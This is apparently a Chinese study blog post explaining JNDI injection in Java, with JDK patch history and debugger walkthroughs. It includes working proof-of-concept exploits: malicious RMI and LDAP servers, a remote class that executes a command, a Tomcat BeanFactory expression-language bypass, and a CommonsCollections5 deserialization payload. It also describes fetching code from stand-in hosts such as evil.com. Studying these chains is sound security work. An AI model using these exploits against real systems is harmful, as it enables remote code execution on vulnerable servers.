前言

JNDI注入! 环境版本:JDK1.8.0-66

JNDI概念

JNDI 全称为 Java Naming and Directory Interface(Java 命名与目录接口) 是SUN公司提供的一种标准的 Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

那么我们就知道了它为java提供的一个接口,而且分为了两个部分,命名服务与目录服务。

Naming Service 命名服务

命名服务也可称为名称服务将名称和对象进行关联,提供 通过名称找到对象 的操作,但是存在一些特殊情况,在一些命名服务系统中并不直接将对象进行存储,而是存储了对象的引用,引用包含了如何访问实际对象的信息,类似于指针。

命名服务普遍存在于计算机系统中,例如:

  • DNS: 通过域名查找实际的 IP 地址
  • 文件系统: 通过文件名定位到具体的文件

在命名系统中,存在以下几个重要的概念:

  • Bindings: 表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP。
  • Context: 上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext)。
  • References: 当存在上述的特殊情况时,以引用的形式进行存储,可以理解为指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd ,这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。

Directory Service 目录服务

目录服务是名称服务的 一种拓展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(attributes)信息。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象。

即:名称 -> 对象 与 对象的属性 -> 对象

API

根据上面的介绍,我们知道 目录服务是中心化网络应用的一个重要组件。使用目录服务可以简化应用中服务管理验证逻辑,集中存储共享信息。目录服务的存在拓宽了我们获取一个对象的方式,不仅仅通过lookup,还能通过search。

比如对于打印机服务,我们可以通过在目录服务中查找打印机,并获得一个打印机对象,基于这个 Java 对象进行实际的打印操作。

基于以上情况就有了 JNDI,应用通过该接口与具体的目录服务进行交互。从设计上,JNDI 独立于具体的目录服务实现,设计出了应用范围宽泛的(也就是兼容性比较强大),因此可以针对不同的目录服务提供统一的操作接口。

JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,如下图所示:

SPI

SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体的目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:

  • RMI: Java Remote Method Invocation,Java 远程方法调用
  • LDAP: 轻量级目录访问协议
  • CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务

JNDI的结构

从上面介绍的三个 Service Provider 我们可以看到,除了 RMI 是 Java 特有的远程调用框架,其他两个都是通用的服务和标准,可以脱离 Java 独立使用。JNDI 就是在这个基础上提供了统一的接口,来方便调用各种服务。在 Java JDK 里面提供了5个包,提供给JNDI的功能实现,分别是:

  • javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
  • javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
  • javax.naming.event:在命名目录服务器中请求事件通知;
  • javax.naming.ldap:提供LDAP支持;
  • javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

其中最为重要的是 javax.naming,其中的一些类需要学习一下

InitialContext类

构造方法:

//构建一个初始上下文。
InitialContext()
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)

常用方法:

//将名称绑定到对象。
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name)
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)

示例:

import javax.naming.InitialContext;
import javax.naming.NamingException;public class jndi {public static void main(String[] args) throws NamingException {String uri = "rmi://127.0.0.1:1099/work";//在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。InitialContext initialContext = new InitialContext();initialContext.lookup(uri);}
}

Reference类

该类也是在 javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的 引用功能

构造方法:

//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation) //为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)/*
参数:
className 远程加载时所使用的类名
factory  加载的class中需要实例化类的名称
factoryLocation  提供classes数据的地址可以是file/ftp/http协议
*/

常用方法:

//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr)
//将地址添加到地址列表的末尾。
void add(RefAddr addr)
//从此引用中删除所有地址。
void clear()
//检索索引posn上的地址。
RefAddr get(int posn)
//检索地址类型为“addrType”的第一个地址。
RefAddr get(String addrType)
//检索本参考文献中地址的列举。
Enumeration<RefAddr> getAll()
//检索引用引用的对象的类名。
String getClassName()
//检索此引用引用的对象的工厂位置。
String getFactoryClassLocation()
//检索此引用引用对象的工厂的类名。
String getFactoryClassName()
//从地址列表中删除索引posn上的地址。
Object remove(int posn)
//检索此引用中的地址数。
int size()
//生成此引用的字符串表示形式。
String toString()

示例:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class jndi {public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {String url = "http://127.0.0.1:8080"; Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("test", "test", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("aa",referenceWrapper);}
}

这里调用了ReferenceWrapper进行对引用的包装,提一句原因。

查看到Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。

JNDI References 注入

在JNDI中对象的传递为两种,一、序列化,二、引用。针对于引用的方式,如果我们可控客户端的 lookup()内容,控制客户端去访问恶意的服务中心(比如rmi和ldap),获取到恶意的引用,从而获取恶意远程服务器的恶意class文件进行执行。

  1. 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URI 为 rmi://evil.com:1099/refObj
  2. 原先配置好的上下文环境 会因为动态环境转换而被指向 rmi://evil.com:1099/
  3. 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj 绑定的ReferenceWrapper 对象
  4. 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从恶意远程服务器上去尝试获取 EvilObject.class,即动态的去获取 http://evil-cb.com/EvilObject.class
  5. 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class
  6. 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行

防御

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly 默认值被设置为 true。将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了 com.sun.jndi.rmi.object.trustURLCodebase 选项,默认为 false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了 com.sun.jndi.ldap.object.trustURLCodebase 选项,默认为 false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

这就涉及到高版本下的JNDI绕过,下篇学习。

JNDI-RMI

实现

Server端

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class Server {public static void main(String[] args) throws Exception {String  url = "http://127.0.0.1:8080";Registry r = LocateRegistry.createRegistry(1099);Reference reference = new Reference("calc", "calc", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);r.bind("evil",referenceWrapper);}
}

Client端

import javax.naming.InitialContext;public class Client {public static void main(String[] args) throws Exception {String url = "rmi://127.0.0.1:1099/evil";InitialContext initialContext = new InitialContext();initialContext.lookup(url);}
}

calc.java,编译为class,放到web服务下

import java.io.IOException;public class calc {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}
}

启动服务端、客户端后弹出计算器。

流程分析

断点下到

initialContext.lookup(url);

走到 RegistryContext#lookup ,通过registryImpl_Stub去寻找evil,返回值为一个 ReferenceWrapper 对象,接着调用当前类的decodeObject 去获取其中的信息

调用 getReference 获取信息

看到已经获取详细的信息了,随后调用静态方法 NamingManager#getObjectInstance

getObjectInstance 中定义 ObjectFactory 类型的 factory 用于接受工厂类的对象

然后调用 getObjectFactoryFromReference 去获取 工厂类的对象

getObjectFactoryFromReference 中首先直接尝试类加载

那么在类加载的过程中使用AppClassLoader加载,本地肯定是没有的,返回空

本地没有找到类接着调用 Reference#getFactoryClassLocation 赋值给 codebase ,也就是获取远程调用的地址,并再次类加载,这回用 URLClassLoader去进行加载。

这样就能获取到远程的恶意类,并且进行初始化的类加载,执行静态代码块。

一路返回到 getObjectFactoryFromReference,最后会实例化返回一个对象,所以恶意代码还可以写到构造函数中。

返回到 factory 后,调用其 getObjectInstance 方法

修补

上面提到说,JDK 6u141、7u131、8u121之后:增加了 com.sun.jndi.rmi.object.trustURLCodebase 选项,默认为 false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞。

切换版本为jdk8u181,在RegistryContext中,会判断 trustURLCodebase

默认为false,默认情况下就抛出异常。

但是在8u191之前都是可以通过LDAP进行绕过的,下面跟一下ldap的流程。

JNDI-LDAP

实现

ldap用代码实现比较多(下面8u191代码实现ldap),这里直接用工具 marshalsec 启动代替LDAP服务。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#calc

Client端

import javax.naming.InitialContext;public class Client {public static void main(String[] args) throws Exception {String url = "ldap://127.0.0.1:1389/aa";InitialContext initialContext = new InitialContext();initialContext.lookup(url);}
}

流程分析

LdapCtx#c_lookup 走到decodeObject,和上面作用一样,进行解析

感觉这里应该还会有利用点,学懂了在研究吧。

可以看到解析出来后为Reference对象

然后调用 DirectoryManager#getObjectInstance 去获取实例,对照着RMI的修补就知道,这里没有进行限制。

剩下的类似RMI,getObjectFactoryFromReference->loadClass

类加载完毕后返回实例,同样调用其 工厂类对象的getObjectInstance 方法

修补

8u191之后进行了修补, loadClass方法中添加 trustURLCodebase 属性,所以不能远程加载了。

8u191的绕过

针对8u191的绕过大致两种途径

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

第一种思路,既然远程不能打,就寻找本地的工厂类的有没有可能存在利用点,我们返回的Reference对象中包含本地存在的可利用Factory类,然后在loadClass后,创建实例对象,调用其 getObjectInstance 方法,当然了Factory类需要实现 javax.naming.spi.ObjectFactory 接口,还要重写其 getObjectInstance 方法。比如现在有这么一个Factory中,它的静态代码块或者无参构造方法等存在利用点,它的 getObjectInstance 存在利用点,我们直接返回Reference对象就可以加以利用。

第二种思路,通过LDAP的 javaSerializedData反序列化gadget。LDAP服务端除了支持JNDI Reference这种利用方式外,还支持直接返回一个序列化的对象。如果Java对象的javaSerializedData属性值不为空,则客户端的obj.decodeObject()方法就会对这个字段的内容进行反序列化。

简单例子

Server端创建rmi服务

Reference reference = new Reference("Test","Test",null);

Client端存在一个Factory

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;public class Test implements ObjectFactory {static {System.out.println("静态代码");}public Test(){System.out.println("无参构造方法");}{System.out.println("构造代码块");}@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {System.out.println("getObjectInstance");return null;}
}

当client端发起lookup请求后,结果如下

静态代码
构造代码块
无参构造方法
getObjectInstance

利用本地Class

目前公开常用的利用方法是通过 Tomcatorg.apache.naming.factory.BeanFactory 工厂类去调用 javax.el.ELProcessor#eval 方法或 groovy.lang.GroovyShell#evaluate 方法

BeanFactory 的利用原理如下

org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

pom.xml都添加上

<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-dbcp</artifactId><version>9.0.8</version>
</dependency>
<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>9.0.8</version>
</dependency>
<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-jasper</artifactId><version>9.0.8</version>
</dependency>

Server端

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class Server {public static void main(String[] args) throws Exception {Registry r = LocateRegistry.createRegistry(1099);ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);ref.add(new StringRefAddr("forceString", "x=eval"));ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);r.bind("evil",referenceWrapper);System.out.println("running");}
}

流程分析

先看一下 BeanFactory#getObjectInstance

首先要求传入的类型为 ResourceRef ,所以Server端才这样构造

看一下 ResourceRef 的构造函数

调用父类构造方法,最后结果如下

  • classFactory = factory (org.apache.naming.factory.BeanFactory)
  • classFactoryLocation = null
  • className = resourceClass (javax.el.ELProcessor)

Client端接受Reference后实例 BeanFactory 对象,调用其 getObjectInstance 方法

跟进 BeanFactory#getObjectInstance 获取beenClass即ELprocessor,通过类加载器进行类加载

实例化对象

接着根据关键字 forceString 去获取其内容赋值给value

for循环去遍历value,如果有 = 进行截取,等号前面赋值给param,后面赋值给setterName,相当于拆分为键值对

在beenclass中获取"值名"的方法,把键名和对应的方法放到forced中

获取出了if条件中的其他的值,这里获取到的即 x

ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

从 forced 中 获取 x 所代表的method,然后进行反射调用命令执行。

LDAP返回对象

pox.xml

<dependency><groupId>com.unboundid</groupId><artifactId>unboundid-ldapsdk</artifactId><version>3.1.1</version>
</dependency>

Server端,打CC5

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;public class Server {private static final String LDAP_BASE = "dc=example,dc=com";public static void main ( String[] tmp_args ) throws Exception{String[] args=new String[]{"http://192.168.68.155/#test"};int port = 1389;InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor ( URL cb ) {this.codebase = cb;}@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaSerializedData",CommonsCollections5());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}private static byte[] CommonsCollections5() throws Exception{Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);Map map=new HashMap();Map lazyMap=LazyMap.decorate(map,chainedTransformer);TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);Field field=badAttributeValueExpException.getClass().getDeclaredField("val");field.setAccessible(true);field.set(badAttributeValueExpException,tiedMapEntry);ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(badAttributeValueExpException);objectOutputStream.close();return byteArrayOutputStream.toByteArray();}}

流程分析

LdapCtx#c_lookup,进行判断 JAVA_ATTRIBUTES[2] 即 javaclassname 不为空,进入Obj#decodeObject

Obj#decodeObject 中 JAVA_ATTRIBUTES[4] 空,尝试获取 JAVA_ATTRIBUTES[1],即序列化的字节码。

deserializeObject,反序列化

参考

JNDI注入分析

JNDI注入学习

浅析JNDI注入

如何绕过高版本JDK的限制进行

JNDI注入之略微学学相关推荐

  1. 深入理解JNDI注入与Java反序列化漏洞利用

    rmi 和 jndi 这些概念,一直接触,但是看了会儿 还是略微懵逼,这篇文章 暂时理清了我的思路 [承上启下]----------------------------------上边属于我自己瞎扯的 ...

  2. java asm jndi_GitHub - Q1ngShan/JNDI: JNDI 注入利用工具

    JNDI 注入利用工具 介绍 本项目为 JNDI 注入利用工具,生成 JNDI 连接并启动后端相关服务,可用于 Fastjson.Jackson 等相关漏洞的验证. 本项目是基于 welk1n 的 J ...

  3. JNDI注入学习(看不懂直接喷,别忍着!)

    jndi简介 Java 命名和目录接口 (JNDI) 是一种 Java API,它允许 Java 软件客户端通过名称发现和查找数据和对象.JNDI 提供了一个通用接口,用于访问不同的命名和目录服务,例 ...

  4. Java 安全-JNDI注入学习

    背景知识 JNDI Service Provider JNDI 与 JNDI Service Provider 的关系类似于 Windows 中 SSPI 与 SSP 的关系.前者是统一抽象出来的接口 ...

  5. JNDI 注入漏洞的前世今生

    前两天的 log4j 漏洞引起了安全圈的震动,虽然是二进制选手,但为了融入大家的过年氛围,还是决定打破舒适圈来研究一下 JNDI 注入漏洞. JNDI 101 首先第一个问题,什么是 JNDI,它的作 ...

  6. Java序列化与JNDI注入

    现阶段公司会进行季度的安全巡检,扫描出来的 Java 相关漏洞,无论是远程代码执行.还是 JNDI 注入,基本都和 Java 的序列化机制有关.本文简单梳理了一下序列化机制相关知识,解释为什么这么多漏 ...

  7. Java安全学习笔记--一次对JNDI注入失败的问题排查(手写POC以及rmi)

    目录 前言 恶意类代码: RMI注册中心以及服务端代码: 问题一: 问题二 调试 问题三 总结 前言 之前分析了fastjson的jdbcRowSetImpl利用链之后当时也是手写了所用的代码并测试, ...

  8. java asm jndi_JNDI-Injection-Exploit JNDI注入利用工具

    介绍 JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于Fastjson.Jackson等相关 使用 可执行程序为jar包,在命令行中运行以下命令: $ java -jar JNDI-I ...

  9. SpEL表达式注入、Spring JNDI注入

    一. SpEL表达式:(Spring Expression Language),即Spring表达式语言,是比JSP的EL更强大的一种表达式语言.SpEL有三种用法,一种是在注解@Value中:一种是 ...

最新文章

  1. 3、HTML <a>标签(超链接)
  2. 10如何成为卓越领导者摘录——卓越的领导者
  3. Git内部原理之深入解析维护与数据恢复
  4. 【HDU - 3410 】 Passing the Message(单调栈)
  5. 力扣1232.缀点成线
  6. 打拼10年的数据分析师,终于明白职场鄙视链才是最大的沉没黑洞
  7. C#特性 学习笔记(对象初始化器 匿名类型 扩展方法)
  8. 项目管理-计划与实施,哪个更重要
  9. 【电子技术】【2019.03】【含源码】低成本转子动力学数据采集系统的设计
  10. 首日回顾:新一代区块链开发平台初步建成 | ArcBlock Devcon 2020
  11. c语言中 输入有两行:第一行是一个正整数n,第二行是n个整数,c语言问题:输入格式 输入有多组数据.每组数据两行.第一行包含一个正整数n(小于等于1000...
  12. 2021年茶艺师(初级)报名考试及茶艺师(初级)模拟考试题库
  13. 高职计算机应用与信息检索,信息检索论文,关于高职院校图书馆对学生信息检索的教育相关参考文献资料-免费论文范文...
  14. 论文-《Conversational Recommender System》
  15. (二)ElasticSearch实战基础教程(ElasticSearch入门)
  16. java rds 数据库_Java程序如何连接RDS MySQL
  17. EasyCHM编译的文件在点击节点时出现错误:确保Web地址//ieframe.dll/dnserrordiagoff.htm#正确
  18. 地图热区随屏幕大小改变
  19. C++的几种char类型
  20. Netty私有协议栈 读书笔记

热门文章

  1. 传智java测试题答案_传智播客Java基础第一阶段习题
  2. 据实而用 浅析会议摄像机的选购
  3. CodeSmith Professional 5.0破解下载地址 注册机 keygen
  4. 信号量哲学家问题java_利用AND信号量机制解决哲学家进餐问题
  5. 运用Xmap将xml数据转换成javabean
  6. 开源项目SMSS开发指南(二)——基于libevent的线程池
  7. 我们应该怎样做需求分析?(一)需求调研
  8. 维度建模的基本概念及过程
  9. Java 的反射机制
  10. Oracle磁盘恢复,探索Oracle之RMAN_07 磁盘损坏数据丢失恢复